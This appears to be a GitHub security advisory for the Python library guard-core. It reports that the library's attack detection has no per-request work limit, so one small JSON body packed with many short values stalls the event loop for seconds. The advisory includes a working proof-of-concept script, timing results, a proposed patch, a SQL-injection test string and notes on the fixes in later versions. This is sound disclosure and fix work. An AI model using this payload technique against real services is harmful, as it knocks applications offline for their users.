Skip to main content
Menu
Advisories

Detection has no per-request work bound: one 63 KB body blocks the event loop for 8 s

GHSA-3HFX-8M47-5F9HPublished Updated GitHub

Description

Every detection limit guard-core exposes is per value. detection_max_content_length bounds the semantic analyzer's slice of one value. detection_max_body_inspect_bytes bounds how many bytes of body are read. Nothing bounds the work done across a request.

Scan cost tracks the number of values much more than their size, so packing a body with small values is the cheap way to buy CPU. On a stock SecurityConfig, a 63 KB JSON body of 2 000 twenty-character values blocks the event loop for 8.3 s before the route runs. That is a quarter of the default detection_max_body_inspect_bytes, and it costs twice as much as a 256 KB body does. The request matches nothing, returns normally, and increments no counter, so it can be sent again immediately.

This is the part of GHSA-r7hm-rjvg-xx7j's amplification that 3.13.0 did not close. The quadratic pattern is gone. The per-value cost that multiplied it is not, and 3.13.0 is still slow enough per value for the multiplication alone to be an outage.

Details

One request each, detect_penetration_attempt called directly with a stock config and no framework adapter. "Blocked" is the longest gap an asyncio watchdog task saw while the call ran. One run on an M-series laptop, CPython 3.14; the last column is the same run with the fix below applied:

BodySizeTimeLoop blockedFixed
32 values × 900 chars28.5 KB0.40 s0.39 s0.41 s
128 values × 900 chars113.9 KB1.59 s1.59 s0.51 s
287 values × 900 chars255.5 KB3.64 s3.64 s0.50 s
840 values × 300 chars255.8 KB4.46 s4.46 s0.50 s
2 000 values × 20 chars63.4 KB8.26 s8.26 s0.50 s

The loop is held for the whole scan, not sampled in slices.

Size is not what drives the cost. The 63 KB body costs nearly twice what either 256 KB body costs, because it carries more values: 2 000 against 840. Per byte, twenty-character values run at 130 ms/KB against 14 ms/KB for nine-hundred-character ones, so the cheapest request to send is also the most expensive one to serve.

Rate limiting does not help. rate_limit runs before suspicious_activity, and the default of 10 requests per 60 s window admits 10 × 8.26 s = 83 s of blocking per window from a single address.

_check_value_enhanced in guard_core/_utils/detection_scan.py is the one place every scanned value goes through - query params, headers, body fields, nested JSON, multipart - so it is where a bound belongs.

PoC

guard-core only, no adapter. pip install guard-core, save the script below as poc_scan_budget.py, then python poc_scan_budget.py. Exit 0 means reproduced. It builds a GuardRequest stub, runs a watchdog task to measure loop lag, and prints:

   32 values x 900 chars  body=  28.5 KB  detect=   0.40s  worst stall=  0.39s  threat=False
  128 values x 900 chars  body= 113.9 KB  detect=   1.59s  worst stall=  1.59s  threat=False
  287 values x 900 chars  body= 255.5 KB  detect=   3.64s  worst stall=  3.64s  threat=False
  840 values x 300 chars  body= 255.8 KB  detect=   4.46s  worst stall=  4.46s  threat=False
 2000 values x 20 chars  body=  63.4 KB  detect=   8.26s  worst stall=  8.26s  threat=False

<details> <summary><code>poc_scan_budget.py</code></summary>

"""PoC: one request blocks the guard-core event loop for seconds (3.13.0).

Every detection limit guard-core exposes is per value. Scan cost tracks the
number of values much more than their length, so a JSON body packed with small
values buys CPU cheaply: a 63 KB body of 2000 twenty-character values blocks the
loop for ~8s on a stock SecurityConfig, more than a 256 KB body does. Nothing
about the request is flagged -- it matches no pattern and increments no counter.

    pip install guard-core
    python poc_scan_budget.py

Exit code 0 = reproduced (the last body took more than 5s).
"""

import asyncio
import json
import sys
import time
from collections.abc import Mapping

from guard_core.models import SecurityConfig
from guard_core.utils import detect_penetration_attempt


class State:
    pass


class Request:
    def __init__(self, body: bytes) -> None:
        self._body = body
        self.state = State()

    @property
    def url_path(self) -> str:
        return "/"

    @property
    def url_scheme(self) -> str:
        return "http"

    @property
    def url_full(self) -> str:
        return "http://localhost/"

    def url_replace_scheme(self, scheme: str) -> str:
        return self.url_full

    @property
    def method(self) -> str:
        return "POST"

    @property
    def client_host(self) -> str:
        return "203.0.113.1"

    @property
    def headers(self) -> Mapping[str, str]:
        return {
            "content-type": "application/json",
            "content-length": str(len(self._body)),
        }

    @property
    def query_params(self) -> Mapping[str, str]:
        return {}

    async def body(self) -> bytes:
        return self._body


async def main() -> int:
    config = SecurityConfig()
    lag = 0.0

    async def watchdog() -> None:
        nonlocal lag
        while True:
            tick = time.perf_counter()
            await asyncio.sleep(0.05)
            lag = max(lag, time.perf_counter() - tick - 0.05)

    monitor = asyncio.create_task(watchdog())
    await asyncio.sleep(0.2)  # let the watchdog take its first tick

    for count, size in ((32, 900), (128, 900), (287, 900), (840, 300), (2000, 20)):
        body = json.dumps({f"k{i}": "a" * size for i in range(count)}).encode()
        lag = 0.0
        started = time.perf_counter()
        result = await detect_penetration_attempt(Request(body), config)
        elapsed = time.perf_counter() - started
        # Let the watchdog tick once more, so the final gap is counted.
        await asyncio.sleep(0.2)
        print(
            f"{count:>5} values x {size} chars"
            f"  body={len(body) / 1024:6.1f} KB"
            f"  detect={elapsed:7.2f}s"
            f"  worst stall={lag:6.2f}s"
            f"  threat={result.is_threat}"
        )

    monitor.cancel()
    return 0 if elapsed > 5.0 else 1


if __name__ == "__main__":
    sys.exit(asyncio.run(main()))

</details>

Impact

Any unauthenticated client can take an application offline with a handful of small requests, and nothing in the logs marks them as hostile. Every adapter sharing the loop with its host application is affected.

Suggested CVSS AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5) - the same vector as GHSA-r7hm-rjvg-xx7j, because the outcome is the same.

Workaround

Lower detection_max_body_inspect_bytes. Bodies above it are skipped entirely, so a small cap limits how many values one request can carry into the scanner; 8192 held the worst case to a fraction of a second in our own deployment. It widens the documented fail-open above the cap, and it does nothing for query parameters.

Suggested fix

A wall-clock budget for the request, spent across all values and checked at that one choke point. Default 0.5 s, 0.0 disables it. No new dependency, and scripts/unasync.py regenerates the sync tree from it unchanged.

--- a/guard_core/_security_config_fields.py
+++ b/guard_core/_security_config_fields.py
@@ -751,6 +751,26 @@ class _SecurityConfigFields(BaseModel):
         le=10485760,
     )
 
+    detection_max_scan_seconds: float = Field(
+        default=0.5,
+        description=(
+            "Wall-clock budget for pattern-matching a single request, summed "
+            "across every scanned value: query params, headers, body fields and "
+            "nested JSON values. Once it is spent the remaining values are left "
+            "unscanned and the request proceeds, the same way an oversized body "
+            "is let through by detection_max_body_inspect_bytes. Set 0.0 to "
+            "disable the bound. It exists because the other detection limits "
+            "are per value, not per request: scan cost tracks the number of "
+            "values far more than their length, so splitting a body into many "
+            "small values costs about ten times more per byte, and a single "
+            "request can hold the event loop for as long as "
+            "detection_max_body_inspect_bytes allows values to be packed into "
+            "it."
+        ),
+        ge=0.0,
+        le=60.0,
+    )
+
     detection_preserve_attack_patterns: bool = Field(

--- a/guard_core/_utils/detection_scan.py
+++ b/guard_core/_utils/detection_scan.py
@@ -1,4 +1,8 @@
 import logging
+from collections.abc import Iterator
+from contextlib import contextmanager
+from contextvars import ContextVar
+from time import monotonic
 from typing import Any
 
@@ -82,6 +86,31 @@ _MAX_USER_AGENT_MATCH_LENGTH = 512
 
+_scan_deadline: ContextVar[float | None] = ContextVar(
+    "guard_core_scan_deadline", default=None
+)
+
+
+@contextmanager
+def _scan_budget(max_seconds: float | None) -> Iterator[None]:
+    """Bound pattern-matching for the duration of one request.
+
+    The deadline is reset on the way out: leaving a spent one behind would
+    silently disable detection for whatever ran next in the same context.
+    """
+    token = _scan_deadline.set(monotonic() + max_seconds if max_seconds else None)
+    try:
+        yield
+    finally:
+        _scan_deadline.reset(token)
+
+
+def _scan_budget_spent() -> bool:
+    """Whether this request has used up its pattern-matching budget."""
+    deadline = _scan_deadline.get()
+    return deadline is not None and monotonic() >= deadline
+
+
 async def _check_value_enhanced(
     ...
 ) -> tuple[bool, str, list[dict]]:
+    if _scan_budget_spent():
+        return False, "", []
+
     from guard_core.handlers.suspatterns_handler import sus_patterns_handler

--- a/guard_core/_utils/penetration_detection.py
+++ b/guard_core/_utils/penetration_detection.py
@@ -18,7 +18,10 @@
-from guard_core._utils.detection_scan import _check_request_component
+from guard_core._utils.detection_scan import (
+    _check_request_component,
+    _scan_budget,
+)
@@ -128,26 +131,26 @@ async def detect_penetration_attempt(
     log_level = _resolve_log_level(config)
-    surface_hit = await _scan_request_surface(...)
-    if surface_hit is not None:
-        return surface_hit
-    return await _scan_body_surface(...)
+    with _scan_budget(getattr(config, "detection_max_scan_seconds", None)):
+        surface_hit = await _scan_request_surface(...)
+        if surface_hit is not None:
+            return surface_hit
+        return await _scan_body_surface(...)

Resetting the deadline on the way out is not tidiness. An earlier version only called set(), and a spent deadline then leaked into the next call sharing that context, which turned detection off entirely. Your test_check_value_enhanced_empty_threats_list caught it.

The check runs before each value, so one very large value can still overrun the budget. That case is what the per-value limits already cover; this bounds the multiplication, which nothing else does.

With the patch every row lands on the budget, as the last column shows, and {"q": "admin' OR '1'='1"} is still answered as a threat. Four new tests in tests/test_utils/test_scan_budget.py, plus the generated sync pair. Two of them fail on unpatched 3.13.0 - one takes 113 s to do it. Full suite: 12 241 passed / 28 failed against 12 225 / 28 unpatched, the same 28 either way (logfire and otel provider lifecycle, IP canonicalization), on a machine where those already fail. ruff check, ruff format --check and scripts/unasync.py --check pass.

Affected

3.13.0 confirmed. Not version-specific: any version with the per-value scan loop and no aggregate bound.

Fixed in 3.14.0

Fixed in guard-core 3.14.0 (PyPI), merged in #82 (500d4ef6). A deterministic per-request cap replaces the unbounded scan: SecurityConfig.detection_max_scan_values (default 512, at least 2; names and values each cost one unit, JSON embedded in a single value is counted too) stops scanning further values with a visible warning naming the client. The proposed wall-clock budget was not taken: in production cost terms it was exhausted by roughly a dozen padding values and then silently failed open. The dominant cost the report understated, PerformanceMonitor's exact-Fraction anomaly statistics on every scanned value, is fixed as well and carries its own advisory (GHSA-grqq-qh92-hw79).

Fixed in 3.15.0

Fixed in guard-core 3.15.0 (PyPI), merged in #83 (75d13343). The value-count cap from 3.14.0 bounded how many values a request could push through the scanner but not how much text; 28 values of 9342 characters (inside both caps) still cost 1.8 s of CPU in enhanced mode. 3.15.0 adds SecurityConfig.detection_max_scan_chars (default 65536, counted at the same point as the value cap, one warning per request), removes three constant-factor costs in the scan (exact-Fraction statistics on every pattern check, a duplicated token extraction in the semantic analyser, a redundant re-decode), reads oversized bodies up to detection_max_body_inspect_bytes through the adapter's bounded reader and scans that prefix instead of skipping the body, and configures the detection singleton from the config it receives so direct callers measure the same path an adapter runs. Measured: the 28 x 9342 body 1.95 s to 0.41 s; 512 small values 3.74 s to 1.41 s.

Affected versions

References

GitHub · Guard-Core/guard-core